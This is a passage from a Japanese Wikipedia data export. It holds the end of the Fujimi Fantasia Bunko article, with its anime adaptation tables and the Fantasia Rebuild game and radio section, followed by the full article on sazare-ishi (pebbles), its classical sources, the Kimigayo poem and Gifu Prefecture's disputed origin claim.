<!--ゲーム原作(OPのクレジットより)
|[[火魅子伝]]
|1999年
|[[グループ・タック]]
|
|- -->
|[[魔法戦士リウイ]]
|2001年
|J.C.STAFF
|
|-
|[[召喚教師リアルバウトハイスクール]]
|2001年
|[[ゴンゾ|GONZO]]
|
|-
| rowspan="4" |[[フルメタル・パニック!]]
|2002年(第1期)
|GONZO・ディジメーション
| rowspan="4" |OVAあり
|-
|2003年(第2期)
| rowspan="2" |[[京都アニメーション]]
|-
|2005年(第3期)
|-
|2018年(第4期)
|[[ジーベック (アニメ制作会社)|XEBEC]]
|-
|[[スクラップド・プリンセス]]
|2003年
|[[ボンズ (アニメ制作会社)|ボンズ]]
|
|-
|[[まぶらほ]]
|2003年-2004年
|J.C.STAFF
|
|-
|[[ザ・サード]]
|2006年
|XEBEC
|
|-
|[[BLACK BLOOD BROTHERS]]
|2006年
|[[スタジオ・ライブ]]<br />グループ・タック
|
|-
|[[風の聖痕]]
|2007年
|GONZO
|
|-
|[[ご愁傷さま二ノ宮くん]]
|2007年
|[[アニメインターナショナルカンパニー|AICスピリッツ]]
|
|-
|[[ロケットガール]]
|2007年
|[[ムークアニメーション|ムークDLE]]
|
|-
| rowspan="2" |[[生徒会の一存]]
|2009年(第1期)
|[[スタジオディーン]]
| rowspan="2" |
|-
|2013年(第2期)
|AIC
|-
|[[鋼殻のレギオス]]
|2009年
|[[ゼクシズ|ZEXCS]]
|
|-
|[[伝説の勇者の伝説]]
|2010年
|ZEXCS
|
|-
|[[いつか天魔の黒ウサギ]]
|2011年
|ZEXCS
|
|-
| rowspan="2" |[[これはゾンビですか?]]
|2011年(第1期)
| rowspan="2" |スタジオディーン
| rowspan="2" |
|-
|2012年(第2期)
|-
|[[だから僕は、Hができない。]]
|2012年
|[[フィール (アニメ制作会社)|feel.]]
|
|-
| rowspan="4" |[[ハイスクールD×D]]
|2012年(第1期)
| rowspan="3" |[[ティー・エヌ・ケー]]
| rowspan="4" |
|-
|2013年(第2期)
|-
|2015年(第3期)
|-
|2018年(第4期)
|[[パッショーネ (アニメ制作会社)|パッショーネ]]
|-
|[[東京レイヴンズ]]
|2013年
|[[エイトビット]]
|
|-
|[[神さまのいない日曜日]]
|2013年
|[[マッドハウス|MADHOUSE]]
|
|-
|[[勇者になれなかった俺はしぶしぶ就職を決意しました。]]
|2013年
|[[アスリード|asread.]]
|
|-
| rowspan="5" |[[デート・ア・ライブ]]([[デート・ア・ライブ (アニメ)|アニメ]])
|2013年(第1期)
|AIC PLUS+
| rowspan="5" |映画、スピンオフあり
|-
|2014年(第2期)
|[[プロダクションアイムズ]]
|-
|2019年(第3期)
|J.C.STAFF
|-
|2022年(第4期)
| rowspan="2" |[[ギークトイズ|GEEKTOYS]]
|-
|2024年(第5期)
|-
|[[棺姫のチャイカ]]
|2014年
|ボンズ
|
|-
|[[甘城ブリリアントパーク]]
|2014年
|京都アニメーション
|
|-
|[[空戦魔導士候補生の教官]]
|2015年
|[[ディオメディア]]
|
|-
|[[対魔導学園35試験小隊]]
|2015年
|[[SILVER LINK.]]
|
|-
| rowspan="2" |[[冴えない彼女の育てかた]]([[冴えない彼女の育てかた (アニメ)|アニメ]])
|2015年(第1期)
| rowspan="2" |[[A-1 Pictures]]
| rowspan="2" |映画あり
|-
|2017年(第2期)
|-
|[[ゲーマーズ!]]
|2017年
|[[パインジャム|PINE JAM]]
|
|-
|[[ロクでなし魔術講師と禁忌教典]]
|2017年
|[[ライデンフィルム]]
|
|-
|[[俺が好きなのは妹だけど妹じゃない]]
|2018年
|[[アニマ&カンパニー|NAZ]]<br />マギア・ドラグリエ
|
|-
|[[グランクレスト戦記]]
|2018年
|A-1 Pictures
|
|-
|[[通常攻撃が全体攻撃で二回攻撃のお母さんは好きですか?]]
|2019年
|J.C.STAFF
|OVAあり
|-
|[[アサシンズプライド]]
|2019年
|[[EMTスクエアード]]
|
|-
| rowspan="2" |[[キミと僕の最後の戦場、あるいは世界が始まる聖戦]]
|2020年(第1期)
|SILVER LINK.
| rowspan="2" |
|-
|2024年(第2期)
|SILVER LINK.<br />[[studioぱれっと]]
|-
|[[史上最強の大魔王、村人Aに転生する]]
|2022年
|SILVER LINK.<br />[[BLADE (アニメ制作会社)|BLADE]]
|
|-
|[[勇者、辞めます〜次の職場は魔王城〜]]
|2022年
|EMTスクエアード
|
|-
|[[新米錬金術師の店舗経営]]
|2022年
|[[ENGI]]
|
|-
|[[スパイ教室]]
|2023年(第1・2期)
|feel.
|
|-
|[[転生王女と天才令嬢の魔法革命]]
|2023年
|ディオメディア
|
|-
|[[異世界でチート能力を手にした俺は、現実世界をも無双する〜レベルアップは人生を変えた〜|異世界でチート能力を手にした俺は、現実世界をも無双する]]
|2023年
|[[ミルパンセ]]
|
|-
|[[経験済みなキミと、経験ゼロなオレが、お付き合いする話。]]
|2023年
|ENGI
|
|-
|[[VTuberなんだが配信切り忘れたら伝説になってた]]
|2024年
|ティー・エヌ・ケー
|
|-
|[[魔王2099]]
|2024年
|J.C.STAFF
|
|}
=== 劇場アニメ ===
{| class="wikitable" style="font-size:smaller"
!作品
!放送年
!アニメーション制作
!備考
|-
|[[風の大陸]]
|1992年
|[[プロダクション・アイジー|IGタツノコ]]
|
|}
=== OVA ===
{| class="wikitable" style="font-size:smaller"
!作品
!放送年
!アニメーション制作
!備考
|-
|[[アイドル防衛隊ハミングバード]]
|1993年-1995年
|[[葦プロダクション]]
|
|-
|[[ストレイト・ジャケット]]
|2007年-2008年
|feel.
|
|-
|[[デート・ア・ライブ フラグメント デート・ア・バレット]]
|2020年
|GEEKTOYS
|
|}
=== アニメ化予定(企画段階含) ===
{| class="wikitable" style="font-size:smaller"
!作品
!年
!アニメーション制作
!備考
|-
|[[公女殿下の家庭教師]]
|{{TBA}}
|{{TBA}}
|
|}
== ゲーム ==
=== ドラゴン☆オールスターズ ===
富士見ファンタジア文庫とドラゴンマガジン15周年記念で発売された、[[富士見書房]]の作品を基にしたトレーディングカードゲームである。同シリーズの『F』からは[[角川書店]]の作品も加わった。
{{main|ドラゴン☆オールスターズ}}
=== ファンタジア・リビルド ===
富士見ファンタジア文庫とドラゴンマガジン30周年記念企画のひとつとして製作された<ref>{{Cite web|和書|url=https://fantasiabunko.jp/sp/fantasia30th/|title=ファンタジア文庫&ドラゴンマガジン30周年サイト|publisher=富士見書房|accessdate=2020-11-22}}</ref>、富士見ファンタジア文庫作品のキャラクターが一同に集結するiOS/Android/PC用クロスオーバーRPGである。[[EXNOA]](旧DMM GAMES)と[[KADOKAWA]]の合同プロジェクトで、[[gumi (企業)|gumi]]が企画・開発として参画している。2020年12月17日より配信開始<ref>{{Cite web|和書|url=https://prtimes.jp/main/html/rd/p/000002344.000032953.html|title=「ファンタジア・リビルド」本日よりサービス開始!リリースを記念し、幻想石やガチャチケットなど豪華報酬がもらえる各種キャンペーンを開催!|date=2020-12-17|accessdate=2020-01-14|website=[[PR TIMES]]}}</ref>。配信に先立って[[ウェブラジオ]]番組『ファンタジア・リビルド エンデと理乃の「愛した世界を紡ぐラジオ」』が配信されている。2021年12月17日をもってサービス終了となり、終了後にも「ストーリー」・「イラスト」・「ボイス」を閲覧できるオフライン版の提供もされた<ref>{{Cite web|和書|url=https://dengekionline.com/articles/98521/|title=リナや相良宗介の夢の共演はサービス終了後も永遠に。『ファンタジア・リビルド』オフライン版発表|date=
2021-10-07|accessdate=2020-12-10|website=[[電撃オンライン]]}}</ref>。
* ゲームオープニング曲「最後のpiece」 歌:エンデ(CV:古賀葵)、作詞:[[PA-NON]]、作曲:黒瀬圭亮、編曲:清水"カルロス"宥人
==== 参加作品一覧 ====
* [[空戦魔導士候補生の教官]]
* [[ゲーマーズ!]]
* [[鋼殻のレギオス]]
* [[スレイヤーズ]]
* [[冴えない彼女の育てかた]]
* [[対魔導学園35試験小隊]]
* [[デート・ア・ライブ]]
* [[伝説の勇者の伝説]]
* [[東京レイヴンズ]]
* [[ハイスクールDxD]]
* [[棺姫のチャイカ]]
* [[フルメタル・パニック!]]
* [[ロクでなし魔術講師と禁忌教典]]
* [[セイバーマリオネットJ]](期間限定)
* [[これはゾンビですか?]](期間限定)
* [[甘城ブリリアントパーク]](期間限定)
* [[まぶらほ]](期間限定)
==== Webラジオ・動画 ====
; ファンタジア・リビルド エンデと理乃の「愛した世界を紡ぐラジオ」
: 2020年9月1日から[[タブリエ・コミュニケーションズ]]が運営する「インターネットラジオステーション<[[音泉]]>」でウェブラジオ番組が配信<ref>{{Cite web|和書|url=https://prtimes.jp/main/html/rd/p/000002110.000032953.html|title=「ファンタジア・リビルド」公式WEBラジオ配信開始記念!桑原由気さんのサイン色紙が当たるRTキャンペーン第二弾を開催!|publisher=PR TIMES|date=2020-09-15|accessdate=2020-11-22}}</ref>。
: 最終回は2021年7月23日に[[YouTube|YouTube Live]]の音泉YouTubeチャンネルで生配信ラジオとして公開収録<ref>{{Cite web|和書|url=https://prtimes.jp/main/html/rd/p/000002787.000032953.html|title=「ファンタジア・リビルド」公式ラジオエンデと理乃の「愛した世界を紡ぐラジオ」が最終回スペシャル!7月23日(金)16:00より生配信!|publisher=PR TIMES|date=2021-07-21|accessdate=2021-07-22}}</ref>された後、おまけを加えて2021年8月3日に通常配信された<ref>{{Cite tweet|user=onsenradio|number=1422408021838237696|title=#ファンタジア・リビルド ラジオ第#24 最終回配信開始です。|date=2021-08-03|accessdate=2021-08-22}}</ref>。通常の配信の他に、イベントのKADOKAWAライトノベルEXPO2020で2021年3月6日に出張版が配信<ref>{{Cite web|和書|url=https://prtimes.jp/main/html/rd/p/000002504.000032953.html|title=KADOKAWA ライトノベル EXPO 2020(らのすぽ)に「ファンタジア・リビルド」の公式ラジオの出張版の配信が決定!今後のアップデートや未公開情報などの盛りだくさんでお届けします!|publisher=PR TIMES|date=2021-02-26|accessdate=2021-07-22}}</ref>。
: パーソナリティは[[古賀葵]](エンデ 役)と[[桑原由気]](理乃 役)。全24回(出張版を除く)。
:* ゲスト
:** 第2回 - [[藤田茜]](システィーナ 役『ロクでなし魔術講師と禁忌教典』)
:** 第4回 - [[福山潤]](ライナ 役『伝説の勇者の伝説』)
:** 第5回 - [[山本希望]](ミソラ 役『空戦魔導士候補生の教官』)
:** 第6回 - [[石見舞菜香]](千秋 役『ゲーマーズ!』)
:** 第7回 - [[安済知佳]](白チャイカ 役『棺姫のチャイカ』)
:** 第8回 - [[日笠陽子]](リアス・グレモリー 役『ハイスクールDxD』)
:** 第9回 - [[井上麻里奈]](夜刀神十香 役『デート・ア・ライブ』)
:** 第10回 - [[安野希世乃]](加藤恵 役 『冴えない彼女の育てかた』)
:** 第11回 - [[高垣彩陽]](ニーナ 役『鋼殻のレギオス』/フェリス 役『伝説の勇者の伝説』)
:** 第12回 - [[野水伊織]](ラピス 役『対魔導学園35試験小隊』/リコ 役『空戦魔導士候補生の教官』/四糸乃 役『デート・ア・ライブ』)
:** 第13回 - [[ゆかな]](テレサ・テスタロッサ 役『フルメタル・パニック!』)
:** 第15回 - [[緑川光]](ゼルガディス 役『スレイヤーズ』)
:** 第16回 - [[金元寿子]](トモノリ 役『これはゾンビですか?』/天道花憐『ゲーマーズ!』)
:** 第19回 - [[豊崎愛生]](コン 役『東京レイヴンズ』)
:** 第21回 - [[大久保瑠美]](亜玖璃 役『ゲーマーズ!』)
:** 第22回 - [[加隈亜衣]](千斗いすず 役『甘城ブリリアントパーク』/ロスヴァイセ 役『ハイスクールD×D』)
:** 第23回 - [[生天目仁美]](宮間夕菜 役『まぶらほ」)
:** 出張版 - [[竹達彩奈]] (塔城小猫 役『ハイスクールD×D」/五河琴里 役『デート・ア・ライブ』)
; ファンタジア・リビルド エンデと理乃の「愛した世界を紡ぐ生配信」
: 2020年11月23日に[[YouTube |YouTube Live]]のKADOKAWAanimeチャンネルで行われた、ゲームの事前登録数20万人突破を記念した生配信<ref>{{Cite web|和書|url=https://ln-news.com/articles/110044|title=『ファンタジア・リビルド』リリース間近の特別生配信が11月23日(月・祝)決定 事前登録者数も20万人を突破|publisher=[[ラノベニュースオンライン]]|date=2020-11-18|accessdate=2021-07-22}}</ref>。
: パーソナリティはラジオ同様に古賀葵(エンデ 役)と桑原由気(理乃 役)。ゲストは安野希世乃(加藤恵 役 『冴えない彼女の育てかた』)、[[宮本侑芽]](ルミア=ティンジェル役『ロクでなし魔術講師と禁忌教典』)
== 公式動画チャンネル ==
2011年5月9日に開設された[[ニコニコチャンネル]]内の富士見書房ファンタジア文庫・ドラゴンブックチャンネルという配信元にて、ドラ生!!(ドラゴンブック関連)・ファンタジア文庫放送局(ファンタジア文庫関連)といった生放送の動画など配信。2018年7月18日のニコニコ生放送以降は、[[YouTube |YouTube Live]]のKADOKAWAanimeチャンネルでの配信に移行している(視聴期限等はニコ生時代と同一の1週間)。
; ファンタジア文庫放送局
: ファンタジア文庫放送局は2014年3月25日に開始され、不定期に放送していたが、2014年の夏頃の放送から毎月18日前後に放送日が定まった。2015年1月16日の放送で、それまで製作中だったイメージキャラクターが正式に決定した。青髪がリリア=イーリス、赤髪がルゼル=イーリスといい、デザインは[[三嶋くろね]]が担当した。特定の作品を特集した情報番組で、進行役はほぼ編集部の面々であるが、作家や、声優を招くこともあった。
: 2019年5月16日から[[NOCO]]によるデザインの竜娘をイメージしたドファーというイメージキャラクターになった。
: 2020年3月17日放送を最後に番組が不定期配信にリニューアル。
== 関連項目 ==
* [[ファンタジア大賞]]
* [[ドラゴンマガジン]]
* [[富士見ドラゴンブック]]
* [[ドラゴンノベルス]]
* [[ライトノベルアワード]]
** [[富士見ミステリー文庫]]
** [[角川スニーカー文庫]]
** [[電撃文庫]]
** [[ファミ通文庫]]
* [[ライトノベル作家一覧]]
* [[文庫レーベル一覧]]
* [[ライトノベル系レーベル一覧]]
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Notelist2}}
=== 出典 ===
{{Reflist}}
== 外部リンク ==
* {{Official website}}
* {{Twitter|fantasia_bunko|富士見ファンタジア文庫公式}}
* {{カクヨムユーザー|fantasia|ファンタジア文庫}}
* {{ニコニコチャンネル|ch8783|富士見書房ファンタジア文庫・ドラゴンブックチャンネル}}
{{角川書店}}
{{デフォルトソート:ふしみふあんたしあふんこ}}
[[Category:富士見ファンタジア文庫|*]]
[[Category:富士見書房の出版物]]
[[Category:KADOKAWAの文庫本]]
[[Category:KADOKAWAのライトノベル]]
[[Category:ライトノベルレーベル]]
[[Category:1988年刊行開始の刊行物]] | 2003-04-16T05:54:04Z | 2023-12-31T01:13:36Z | false | false | false | [
"Template:Twitter",
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| https://ja.wikipedia.org/wiki/%E5%AF%8C%E5%A3%AB%E8%A6%8B%E3%83%95%E3%82%A1%E3%83%B3%E3%82%BF%E3%82%B8%E3%82%A2%E6%96%87%E5%BA%AB |
6,793 | さざれ石 | さざれ石(さざれいし、英: pebbles)は、小さな石の別称。漢字では細石や細れ石と書く。
日本では、古代より小石のことをさざれ石と呼んでいたことが、文献からも確認することができる。8世紀に編纂された日本書紀には「以砂礫(サザレイシもしくはサザレシ)葺檜隈陵上」とあり、同じく8世紀に成立した万葉集でも「佐射礼伊思(サザレイシ)尓古馬乎波佐世弖己許呂伊多美安我毛布伊毛我」や「信濃奈流知具麻能河泊能左射礼思(サザレシ)母伎弥之布美氐婆多麻等比呂波牟」と詠われている。当時の日本には、巨石はさざれ石が成長して大きくなったとする巨石信仰があり、こういった伝承について柳田国男は、近代でも全国に少なくとも35例あるとしている。10世紀編纂の古今和歌集や11世紀編纂の和漢朗詠集の註釈では、唐の故事にその由来を求めていて、唐で9世紀に成立した酉陽雑俎にある網にかかった小石を寺に奉納したところ一か年で40斤にも成長したという記事を紹介している。後に日本国国歌の歌詞として採用され「君が代」と呼ばれるようになる歌「わがきみは千世にやちよにさざれいしのいはほとなりてこけのむすまで」を収録した古今和歌集では、その序文で「さゞれいしのいはほとなるよろこびのみぞあるべき」と記しており、巨石信仰が「君が代」一首に因らないことを明らかにしている。
京都市右京区の「千代の古道」沿いには、「さざれ石山」と呼ばれる標高97mの小山があり、現在は京都市が管理している。嵯峨天皇は、嵯峨院に行幸する途中にこの地で休んだ際、侍従が眼前の岩塊を指して「君が代」の歌を紹介したところ、嵯峨天皇はその石をさざれ石と呼び、行幸の度に鑑賞したとされる。嵯峨天皇の歿年と古今和歌集の成立には60年の開きがあり時代が合わないが、岩塊を本来は小石を指すさざれ石と呼んだ例となった。
水石の世界でもさざれ石と呼ばれる石がある。広島市安佐北区可部町にある真言宗金亀山福王寺には、寺宝として伝わるさざれ石が存在する。このさざれ石は18世紀の博物学者である木内石亭が著した雲根志に紹介されているもので、由来は古く、9世紀に紀伊国の浜辺に光を放つ石が見つかり、京の貴族に献上された。この貴族の末裔は14世紀に安芸国へ左遷され石も同地に移ったが、粗末に扱うと鳴動したり大雨を招いたりしたことから畏怖され同寺に奉納されたとしている。このさざれ石は、文献に残る最古の水石とされている。さざれ石の漢字として11世紀に成立した類聚名義抄などでは碝を当ててい、碝という字には玉のように美しい石という意がある。福王寺の碑文では瑌を当ててい、瑌という字には玉に次いで美しい石という意がある。これは、美しい石をさざれ石と呼んだ例であり、他にも徳川秀忠の「越白根」、足利義政の「九山八海」、鞍馬寺の寺宝「ほてい石」もさざれ石である。
岐阜県は、同県を「君が代」発祥の地だと吹聴している。伊吹山を構成する古生界の石灰岩が大小の角礫となり固結した石灰質角礫岩を、同県在住の学識経験のない愛石家が、1961年(昭和36年)に同県春日村の山中で俄かに「発見」し、この石こそ「君が代」にあるさざれ石だとする自説を発表した。この説は、おそらく春日村には惟喬親王の家人が居て、おそらくその家人が石を見て「君が代」を詠み、おそらく惟喬親王に伝わり古今和歌集に掲載されたのであろうという、想像と願望からなるもので、史料は一切ない。しかしこれを以て、1977年(昭和52年)に春日村と岐阜県が相次いでこの石を天然記念物に指定したことから、まことしやかな話となった。岐阜県は、この石を「君が代」に詠われたさざれ石だとして、国体にゆかりある先に、知事らの名で積極的に献じている。 | [
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"text": "水石の世界でもさざれ石と呼ばれる石がある。広島市安佐北区可部町にある真言宗金亀山福王寺には、寺宝として伝わるさざれ石が存在する。このさざれ石は18世紀の博物学者である木内石亭が著した雲根志に紹介されているもので、由来は古く、9世紀に紀伊国の浜辺に光を放つ石が見つかり、京の貴族に献上された。この貴族の末裔は14世紀に安芸国へ左遷され石も同地に移ったが、粗末に扱うと鳴動したり大雨を招いたりしたことから畏怖され同寺に奉納されたとしている。このさざれ石は、文献に残る最古の水石とされている。さざれ石の漢字として11世紀に成立した類聚名義抄などでは碝を当ててい、碝という字には玉のように美しい石という意がある。福王寺の碑文では瑌を当ててい、瑌という字には玉に次いで美しい石という意がある。これは、美しい石をさざれ石と呼んだ例であり、他にも徳川秀忠の「越白根」、足利義政の「九山八海」、鞍馬寺の寺宝「ほてい石」もさざれ石である。",
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"text": "岐阜県は、同県を「君が代」発祥の地だと吹聴している。伊吹山を構成する古生界の石灰岩が大小の角礫となり固結した石灰質角礫岩を、同県在住の学識経験のない愛石家が、1961年(昭和36年)に同県春日村の山中で俄かに「発見」し、この石こそ「君が代」にあるさざれ石だとする自説を発表した。この説は、おそらく春日村には惟喬親王の家人が居て、おそらくその家人が石を見て「君が代」を詠み、おそらく惟喬親王に伝わり古今和歌集に掲載されたのであろうという、想像と願望からなるもので、史料は一切ない。しかしこれを以て、1977年(昭和52年)に春日村と岐阜県が相次いでこの石を天然記念物に指定したことから、まことしやかな話となった。岐阜県は、この石を「君が代」に詠われたさざれ石だとして、国体にゆかりある先に、知事らの名で積極的に献じている。",
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| さざれ石は、小さな石の別称。漢字では細石や細れ石と書く。 | {{出典の明記|date=2015年6月}}
'''さざれ石'''(さざれいし、{{Lang-en-short|pebbles}})は、小さな[[石]]の別称<ref name=東京新聞2007-03-19 >{{Cite news |和書 |title=「君が代」歌詞への解説要望多く |newspaper=東京新聞 |date=2007-03-19 |location=東京 |publisher=株式会社中日新聞社東京本社 |edition=5面、{{全国書誌番号|00061061}} }}</ref><ref name=コトバンク_細石 >{{Cite web|和書|url=https://kotobank.jp/word/%E7%B4%B0%E7%9F%B3-510249 |title=細石 |accessdate=2023-07-29 |author= |website= |work=コトバンク |publisher=株式会社DIGITALIO,株式会社C-POT }}</ref>。漢字では'''細石'''や'''細れ石'''と書く<ref name=東京新聞2007-03-19 /><ref name=コトバンク_細石 />。
==日本==
日本では、古代より小石のことをさざれ石と呼んでいたことが、文献からも確認することができる<ref name=豊田裕章020-12-10 >{{Cite journal|和書|author=豊田裕章 |date=2020-12-10 |url=https://kcua.repo.nii.ac.jp/records/360 |title=(ビンザサラ)の語源について ─郢曲「鬢多々良」の問題を含めて─ |journal=日本伝統音楽研究 |ISSN=1347-3689 |publisher=京都市立芸術大学日本伝統音楽研究センター |volume=17 |pages=65-73 |doi=10.15014/00000331 |CRID=1390010292874668800 |id={{全国書誌番号|01005799}} |accessdate=2023-09-11 }}</ref>。8世紀に編纂された[[日本書紀]]には「以砂礫(サザレイシもしくはサザレシ)葺檜隈陵上」とあり、同じく8世紀に成立した[[万葉集]]でも「佐射礼伊思(サザレイシ)尓古馬乎波佐世弖己許呂伊多美安我毛布伊毛我」や「信濃奈流知具麻能河泊能左射礼思(サザレシ)母伎弥之布美氐婆多麻等比呂波牟」と詠われている<ref name=コトバンク_細石 /><ref name=豊田裕章020-12-10 /><ref>{{Cite journal |和書 |author=米田文孝 |authorlink= |date=2022-03-31 |title=中尾山古墳の発掘調査と今後の課題 |journal=KU-ORCASが開くデジタル化時代の東アジア文化研究 |pages=179-190 |publisher=関西大学アジア・オープン・リサーチセンター |location=吹田 |doi=10.32286/00026591 }}</ref>。当時の日本には、巨石はさざれ石が成長して大きくなったとする巨石信仰があり、こういった伝承について[[柳田国男]]は、近代でも全国に少なくとも35例あるとしている<ref>{{Cite journal|和書|author=宋丹丹 |date=2021-03-31 |url=https://ir.soken.ac.jp/records/6374 |title=岩石伝説の身体性に関する一考察 ―『日本伝説大系』と『日本の伝説』を中心に― |journal=総研大文化科学研究 |ISSN=1883096X |publisher=総合研究大学院大学文化科学研究科 / 葉山町(神奈川県) |issue=17 |pages=59-80 |CRID=1050006198845624448 |id={{全国書誌番号|01009946}} |accessdate=2023-09-11 }}</ref>。10世紀編纂の[[古今和歌集]]や11世紀編纂の[[和漢朗詠集]]の註釈では、[[唐]]の故事にその由来を求めていて、唐で9世紀に成立した[[酉陽雑俎]]にある網にかかった小石を寺に奉納したところ一か年で40斤にも成長したという記事を紹介している<ref>{{Cite book|和書|author=段成式 |translator=今村与志雄 |title=酉陽雑俎 |date=1981-09 |publisher=平凡社 |location=東京 |series=東洋文庫 |volume=4 |isbn=4-582-80401-2 |ncid=BN00269646 |oclc=959651067 |accessdate=2023-07-29 |id={{全国書誌番号|81044478}} |page=78 }}</ref>。後に日本国国歌の歌詞として採用され「君が代」と呼ばれるようになる歌「わがきみは千世にやちよにさざれいしのいはほとなりてこけのむすまで」を収録した古今和歌集では、その序文で「さゞれいしのいはほとなるよろこびのみぞあるべき」と記しており、巨石信仰が「君が代」一首に因らないことを明らかにしている<ref>{{Cite journal |和書 |author=土屋北彦 |date=1964-01 |title=「君が代」考 |journal=大分縣地方史 |volume= |issue=32 |pages=14-48 |publisher=大分縣地方史研究會 |location=別府 |issn=0287-6809 |naid=120002740599 |pmid= |id={{全国書誌番号|00002440}} |url=http://bud.beppu-u.ac.jp/modules/xoonips/detail.php?id=kc03203 |accessdate=2023-07-29 }}</ref><ref>{{Cite journal|和書|author=溝口貞彦 |date=2002-10-10 |url=https://nishogakusha.repo.nii.ac.jp/records/1241 |title=「君が代」考 |journal=二松学舎大学人文論叢 |ISSN=02875705 |publisher=二松学舎大学人文学会 |volume=69 |pages=18-45 |CRID=1050845762962300544 |id={{全国書誌番号|00018096}} }}</ref>。
[[File:Emperor Saga large.jpg|thumb|right|250px|<small>嵯峨天皇像</small>]]京都市右京区の「千代の古道」沿いには、「さざれ石山」と呼ばれる標高97mの小山があり、現在は京都市が管理している<ref name=池仁太 >{{Cite web|和書|url=https://japanknowledge.com/articles/kotobajapan/entry.html?entryid=3530 |title=千代の古道 |accessdate=2023-07-29 |author=池仁太 |date=2016-09-10 |website=コトバJapan! |work=ジャパンナレッジ |publisher=株式会社ネットアドバンス }}</ref><ref>{{Cite web|和書|url=https://www.kanaloco.jp/news/social/article-675932.html |title=忘れられた「さざれ石」 江戸時代の京都名所、今は… |accessdate=2023-07-29 |date=2021-09-17 |website=カナロコ |work=神奈川新聞 |publisher=株式会社神奈川新聞社 }}</ref>。[[嵯峨天皇]]は、[[大覚寺|嵯峨院]]に行幸する途中にこの地で休んだ際、侍従が眼前の岩塊を指して「君が代」の歌を紹介したところ、嵯峨天皇はその石をさざれ石と呼び、行幸の度に鑑賞したとされる<ref name=池仁太 />。田井茂実は、近くで銅鐸が出土していることや奈良時代の和歌などから、この地にあるさざれ石が、君が代に詠われているさざれ石であるとしている<ref>{{Cite web|和書|url=https://www.kyoto-np.co.jp/articles/-/934494 |title=京都・宇多野のさざれ石こそ「君が代発祥の元祖」 周知や管理の必要性訴え |accessdate=2023-12-17 |date=2022-12-10 |website=文化・ライフ |work=京都新聞 |publisher=株式会社京都新聞社 }}</ref>。
[[水石]]の世界でもさざれ石と呼ばれる石がある。広島市安佐北区可部町にある真言宗金亀山福王寺には、寺宝として伝わるさざれ石が存在する<ref name=コトバンク_碝石 >{{Cite web|和書|url=https://kotobank.jp/word/%E7%A2%9D%E7%9F%B3-1538860 |title=碝石 |accessdate=2023-07-29 |author=村田圭司 |website= |work=コトバンク |publisher=株式会社DIGITALIO,株式会社C-POT }}</ref>。このさざれ石は18世紀の博物学者である[[木内石亭]]が著した雲根志に紹介されているもので、由来は古く、9世紀に[[紀伊国]]の浜辺に光を放つ石が見つかり、京の貴族に献上された<ref name=コトバンク_碝石 />。この貴族の末裔は14世紀に[[安芸国]]へ左遷され石も同地に移ったが、粗末に扱うと鳴動したり大雨を招いたりしたことから畏怖され同寺に奉納されたとしている<ref name=コトバンク_碝石 />。このさざれ石は、文献に残る最古の水石とされている<ref name=コトバンク_碝石 />。さざれ石の漢字として11世紀に成立した[[類聚名義抄]]などでは碝を当ててい、碝という字には玉のように美しい石という意がある<ref>{{Cite web|和書|url=https://kanji.jitenon.jp/kanjiv/10705.html |title=漢字「碝」について |accessdate=2023-07-29 |website= |work=漢字辞典オンライン |publisher=株式会社ジテンオン }}</ref>。福王寺の碑文では瑌を当ててい、瑌という字には玉に次いで美しい石という意がある<ref>{{Cite web|和書|url=https://kanji.jitenon.jp/kanjiy/16534.html |title=漢字「瑌」について |accessdate=2023-07-29 |website= |work=漢字辞典オンライン |publisher=株式会社ジテンオン }}</ref>。これは、美しい石をさざれ石と呼んだ例であり、他にも[[徳川秀忠]]の「越白根」、[[足利義政]]の「九山八海」、[[鞍馬寺]]の寺宝「ほてい石」もさざれ石である。
岐阜県は、同県を「君が代」発祥の地だと吹聴している<ref name=毎日新聞2019-11-01 >{{Cite web|和書|url=https://mainichi.jp/articles/20191101/ddl/k21/040/106000c |title=即位の祝い品に「さざれ石」選定 県と揖斐川町 |accessdate=2023-07-29 |date=2019-11-01 |website=岐阜 |work=毎日新聞 |publisher=株式会社毎日新聞社 }}</ref><ref>{{Cite book|和書|author= |editor=岐阜県農政部農村振興課 |others= |title=ぎふ農泊ガイドブック |edition= |year=2019 |publisher=岐阜県 |url=https://www.pref.gifu.lg.jp/uploaded/attachment/301522.pdf |accessdate=2023-07-31 }}</ref>。伊吹山を構成する古生界の石灰岩が大小の角礫となり固結した石灰質角礫岩を、同県在住の学識経験のない愛石家が、1961年(昭和36年)に同県春日村の山中で俄かに「発見」し、この石こそ「君が代」にあるさざれ石だとする自説を発表した<ref name=小林宗一1962-06-07 >{{Cite book|和書|author=小林宗一 |title=国歌によまれているさざれ石 |edition=第7版 |date=1979-02-11 |publisher=小林宗一 |location=揖斐 |origdate=1962-06-07 }}</ref>。この説は、おそらく春日村には[[惟喬親王]]の家人が居て、おそらくその家人が石を見て「君が代」を詠み、おそらく惟喬親王に伝わり古今和歌集に掲載されたのであろうという、想像と願望からなるもので、史料は一切ない<ref name=小林宗一1962-06-07 />。しかしこれを以て、1977年(昭和52年)に春日村と岐阜県が相次いでこの石を天然記念物に指定したことから、まことしやかな話となった<ref name=東京新聞2007-03-19 /><ref name=揖斐川町議会 >{{Cite web|和書|url=https://www.town.ibigawa.lg.jp/0000011332.html |title=令和4年第8回 定例会【一般質問】 |accessdate=2023-07-29 |date= 2023-01-18 |website= |work=揖斐川町議会 |publisher=揖斐川町 }}</ref>。岐阜県は、この石を「君が代」に詠われたさざれ石だとして、国体にゆかりある先に、知事らの名で積極的に献じている<ref name=毎日新聞2019-11-01 /><ref name=揖斐川町議会 /><ref>{{Cite web|和書|url=https://mainichi.jp/articles/20180417/k00/00m/010/050000c |title=岐阜・揖斐川町:特産「さざれ石」を安倍首相に贈呈|accessdate=2023-07-29 |date=2018-04-16 |website= |work=毎日新聞 |publisher=株式会社毎日新聞社 }}</ref>。
==関連項目==
{{Commonscat|Sazare-ishi}}
* [[大御神社]] - 境内に日本最大級のさざれ石の[[神座]]があり、[[ラグビー日本代表]]がさざれ石の前で君が代を歌っている<ref>{{Cite web|和書|url=https://www.sankei.com/article/20190717-VPO3V77SKVIIRNKRFKO5ZNRCPM/ |title=ラグビー日本代表が「さざれ石」の前で君が代 |access-date=2023-08-03 |publisher=産経新聞}}</ref>。
==脚註==
{{脚注ヘルプ}}<!--
===註釈===
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===出典===
{{Reflist|30em}}
==参考文献==
